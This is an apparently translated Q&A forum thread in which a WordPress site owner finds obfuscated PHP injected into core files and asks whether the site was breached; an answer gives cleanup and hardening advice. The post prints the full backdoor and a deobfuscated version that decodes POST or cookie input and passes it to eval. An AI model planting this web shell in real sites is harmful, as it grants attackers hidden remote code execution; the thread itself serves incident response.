Codice PHP offuscato trovato sul sito Wordpress - è stato compromesso? [duplicare]

-1

In primo luogo - mi aspetto che la risposta sia sì. Ma non mi sono mai occupato di qualcosa del genere quindi vorrei un consiglio.

Recentemente un cliente si è lamentato del fatto che il loro sito web sia andato giù. Così ho iniziato a indagare. È un sito wordpress che esegue WP 4.6.10. Era presente una schermata bianca della morte, quindi ho abilitato la modalità di debug.

Si è verificato un errore di sintassi nel file wp-includes/capabilities.php sulla prima riga. Era presente una variabile imprevista $c1ee95a . Inizialmente non riuscivo a vedere nulla sulla prima riga, ma in seguito ho scoperto che c'è una sola linea lunga di codice sulla prima riga sfalsata da uno spazio molto a destra. Questo è quello che ho trovato:

<?php $u9e4fd27a = 42;$GLOBALS['j3dcff']=Array();global$j3dcff;$j3dcff=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['nea40']="\x50\x3c\x26\x53\x42\x7b\x3b\x22\x2d\x6b\x5d\x2b\x3e\x48\x56\x78\x4e\x72\x59\x7d\x74\x58\x36\x37\x24\x75\x30\x25\x3a\x27\x40\x73\x7a\x51\x7c\xa\x3f\x9\x45\x6d\x4f\x21\x55\x5c\x79\x4b\x2c\x29\x4d\x6e\x6a\x57\x67\x33\x4c\x43\x61\x6f\x2a\x31\x66\x28\x2f\x7e\x68\x77\x5f\x38\x46\x41\x39\x35\x4a\x47\x2e\x44\x65\x63\x52\xd\x70\x6c\x62\x76\x64\x60\x54\x20\x5a\x3d\x23\x5b\x5e\x32\x34\x49\x71\x69";$j3dcff[$j3dcff['nea40'][31].$j3dcff['nea40'][59].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][67].$j3dcff['nea40'][53]]=$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][9];$j3dcff[$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][70].$j3dcff['nea40'][71].$j3dcff['nea40'][60].$j3dcff['nea40'][82]]=$j3dcff['nea40'][77].$j3dcff['nea40'][57].$j3dcff['nea40'][25].$j3dcff['nea40'][49].$j3dcff['nea40'][20];$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][82].$j3dcff['nea40'][60]]=$j3dcff['nea40'][31].$j3dcff['nea40'][25].$j3dcff['nea40'][82].$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17];$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]=$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17].$j3dcff['nea40'][81].$j3dcff['nea40'][76].$j3dcff['nea40'][49];$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][71].$j3dcff['nea40'][59].$j3dcff['nea40'][82].$j3dcff['nea40'][77].$j3dcff['nea40'][22]]=$j3dcff['nea40'][76].$j3dcff['nea40'][15].$j3dcff['nea40'][80].$j3dcff['nea40'][81].$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][76];$j3dcff[$j3dcff['nea40'][65].$j3dcff['nea40'][56].$j3dcff['nea40'][26].$j3dcff['nea40'][59].$j3dcff['nea40'][23].$j3dcff['nea40'][59].$j3dcff['nea40'][56].$j3dcff['nea40'][71]]=$j3dcff['nea40'][31].$j3dcff['nea40'][20].$j3dcff['nea40'][17].$j3dcff['nea40'][66].$j3dcff['nea40'][17].$j3dcff['nea40'][76].$j3dcff['nea40'][80].$j3dcff['nea40'][76].$j3dcff['nea40'][56].$j3dcff['nea40'][20];$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][53].$j3dcff['nea40'][94].$j3dcff['nea40'][76].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][53]]=$_POST;$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][93].$j3dcff['nea40'][71].$j3dcff['nea40'][53].$j3dcff['nea40'][82].$j3dcff['nea40'][22].$j3dcff['nea40'][56]]=$_COOKIE;$vca92175=Array($j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][59]=>$j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][93]);$c692=Array($j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][53]=>$j3dcff['nea40'][17].$j3dcff['nea40'][56].$j3dcff['nea40'][49].$j3dcff['nea40'][84].$j3dcff['nea40'][57].$j3dcff['nea40'][39].$j3dcff['nea40'][94]);foreach(Array($vca92175,$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][53].$j3dcff['nea40'][94].$j3dcff['nea40'][76].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][53]],$c692,$j3dcff[$j3dcff['nea40'][57].$j3dcff['nea40'][84].$j3dcff['nea40'][93].$j3dcff['nea40'][71].$j3dcff['nea40'][53].$j3dcff['nea40'][82].$j3dcff['nea40'][22].$j3dcff['nea40'][56]])as$jc4c04){foreach($jc4c04 as $c1ee95a=>$t99e){$t99e=@$j3dcff[$j3dcff['nea40'][31].$j3dcff['nea40'][59].$j3dcff['nea40'][77].$j3dcff['nea40'][76].$j3dcff['nea40'][67].$j3dcff['nea40'][53]]($j3dcff['nea40'][13].$j3dcff['nea40'][58],$t99e);$c1ee95a.=$j3dcff['nea40'][22].$j3dcff['nea40'][23].$j3dcff['nea40'][70].$j3dcff['nea40'][77].$j3dcff['nea40'][77].$j3dcff['nea40'][60].$j3dcff['nea40'][67].$j3dcff['nea40'][77].$j3dcff['nea40'][8].$j3dcff['nea40'][22].$j3dcff['nea40'][77].$j3dcff['nea40'][59].$j3dcff['nea40'][93].$j3dcff['nea40'][8].$j3dcff['nea40'][94].$j3dcff['nea40'][23].$j3dcff['nea40'][84].$j3dcff['nea40'][53].$j3dcff['nea40'][8].$j3dcff['nea40'][82].$j3dcff['nea40'][93].$j3dcff['nea40'][22].$j3dcff['nea40'][26].$j3dcff['nea40'][8].$j3dcff['nea40'][53].$j3dcff['nea40'][76].$j3dcff['nea40'][26].$j3dcff['nea40'][76].$j3dcff['nea40'][53].$j3dcff['nea40'][22].$j3dcff['nea40'][26].$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][77].$j3dcff['nea40'][53].$j3dcff['nea40'][59];$r768e6=$t99e^$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][26].$j3dcff['nea40'][82].$j3dcff['nea40'][60]]($j3dcff[$j3dcff['nea40'][65].$j3dcff['nea40'][56].$j3dcff['nea40'][26].$j3dcff['nea40'][59].$j3dcff['nea40'][23].$j3dcff['nea40'][59].$j3dcff['nea40'][56].$j3dcff['nea40'][71]]($c1ee95a,($j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($t99e)/$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($c1ee95a))+1),0,$j3dcff[$j3dcff['nea40'][76].$j3dcff['nea40'][23].$j3dcff['nea40'][82].$j3dcff['nea40'][26].$j3dcff['nea40'][67].$j3dcff['nea40'][82]]($t99e));$r768e6=$j3dcff[$j3dcff['nea40'][56].$j3dcff['nea40'][77].$j3dcff['nea40'][71].$j3dcff['nea40'][59].$j3dcff['nea40'][82].$j3dcff['nea40'][77].$j3dcff['nea40'][22]]($j3dcff['nea40'][90],$r768e6);if($j3dcff[$j3dcff['nea40'][80].$j3dcff['nea40'][56].$j3dcff['nea40'][70].$j3dcff['nea40'][71].$j3dcff['nea40'][60].$j3dcff['nea40'][82]]($r768e6)==3){eval($r768e6[1]($r768e6[2]));exit();}}} ?><?php

Quindi sono andato avanti e ho provato a ripulirlo usando vari strumenti e una sandbox PHP online. Probabilmente non è la migliore rappresentazione del codice, ma è abbastanza vicino:

$u9e4fd27a = 42;
$GLOBALS['j3dcff'] = Array();
global $j3dcff;
$j3dcff = $GLOBALS;
${"GLOBALS"}['nea40'] = "\x50\x3c\x26\x53\x42\x7b\x3b\x22\x2d\x6b\x5d\x2b\x3e\x48\x56\x78\x4e\x72\x59\x7d\x74\x58\x36\x37\x24\x75\x30\x25\x3a\x27\x40\x73\x7a\x51\x7c\xa\x3f\x9\x45\x6d\x4f\x21\x55\x5c\x79\x4b\x2c\x29\x4d\x6e\x6a\x57\x67\x33\x4c\x43\x61\x6f\x2a\x31\x66\x28\x2f\x7e\x68\x77\x5f\x38\x46\x41\x39\x35\x4a\x47\x2e\x44\x65\x63\x52\xd\x70\x6c\x62\x76\x64\x60\x54\x20\x5a\x3d\x23\x5b\x5e\x32\x34\x49\x71\x69";


$j3dcff["s1ce83"] = "pack";
$j3dcff["pa95fb"] = "count";
$j3dcff["ac000bf"] = "substr";
$j3dcff["e7b08b"] = "strlen";
$j3dcff["ac51bc6"] = "explode";
$j3dcff["wa0171a5"] = "str_repeat";

$j3dcff["o34ece3"] = $_POST;
$j3dcff["od253b6a"] = $_COOKIE;


$vca92175 = Array("random1" => "random2");
$c692 = Array("random3" => "random4");


foreach (Array($vca92175, $j3dcff["o34ece3"], $c692, $j3dcff["od253b6a"]) as $jc4c04) {
    foreach ($jc4c04 as $key => $value) {
        $value = @pack("H*", $value);
        $key .= "679ccf8c-6c12-47d3-b260-3e0e360acc31";
        $r768e6 = $value ^ substr(str_repeat($key, (strlen($value) / strlen($key)) + 1), 0, strlen($value));
        $r768e6 = explode('#', $r768e6);
        if (count($r768e6) == 3) {
            eval ($r768e6[1]($r768e6[2]));
            exit();
        }
    }
}

Questo codice era piuttosto lungo e difficile da comprendere, quindi ho provato a var_dump il nome della funzione e il suo argomento che è stato inserito in eval. Ma sembra che la condizione if non sia mai stata soddisfatta e WP ha proceduto a caricare altri file. Bene, allora ho ottenuto un altro errore di sintassi in wp-includes/class-wp-oembed-controller.php . Questo conteneva anche il codice offuscato sulla riga 1.

Qualunque cosa faccia questo codice sembra stia davvero cercando di nasconderlo. Inoltre ho trovato alcune cose più sospette in wp-config.php , index.php e wp-settings.php . Ognuno è fondamentalmente una linea di codice che tenta di includere .ico di file da varie posizioni. Uno di loro contiene il codice per certo. Il nome di questo ha suffisso suspected . Questo potrebbe essere stato segnalato dal provider di hosting?

Quindi immagino che il server / sito Web sia stato compromesso in qualche modo, giusto? Qual è il prossimo passo? Cancellare tutto, cambiare le password e ricaricarle tutte?

Una cosa che mi confonde è che FTP mostra il file class-wp-oembed-controller.php come modificato il 28 ottobre 2016. Significa una violazione a lungo termine?

    
posta PeterTheLobster 23.07.2018 - 12:42
fonte

1 risposta

2

What's the next step? Wipe everything, change passwords and re-upload all of it?

No, il primo passo è portare il sito offline, ma il ripristino delle vulnerabilità dal backup non fornirà la protezione per il sito in futuro. Il fatto che siano interessati più file indica che le autorizzazioni sui file non sono state configurate correttamente. Dalla memoria, WordPress consente l'installazione di moduli e la configurazione tramite l'interfaccia web, ma ciò non significa che devi rendere tutto scrivibile in tutto il mondo. Al giorno d'oggi l'applicazione principale non è male per la sicurezza, ma i plugin di terze parti sono una storia molto diversa. Il prossimo passo è un controllo completo delle autorizzazioni dei file e dei moduli installati. Dovresti anche considerare come vengono gestite le patch / gli aggiornamenti.

Dovresti anche applicare le policy di hardening di base al server - disabilitando eval (), create_function () e remote include.

A meno che tu non abbia molti log, molti backup, molto tempo e molte capacità di reverse engineering, provare a scoprire come il sistema è stato inizialmente compromesso potrebbe non essere il miglior obiettivo dei tuoi sforzi. Ma dovresti cercare di installare un HIDS.

Se si tratta di un servizio di hosting condiviso a basso costo, non sarà possibile eseguire gran parte delle operazioni sopra elencate e, anche se lo facessi, resterai limitato nella misura in cui puoi proteggere il sistema da altri utenti sullo stesso ospite. Cambiare i fornitori di servizi potrebbe essere un requisito. Esistono provider di hosting Wordpress specializzati che possono fornire un servizio gestito.

    
risposta data 23.07.2018 - 13:36
fonte

Leggi altre domande sui tag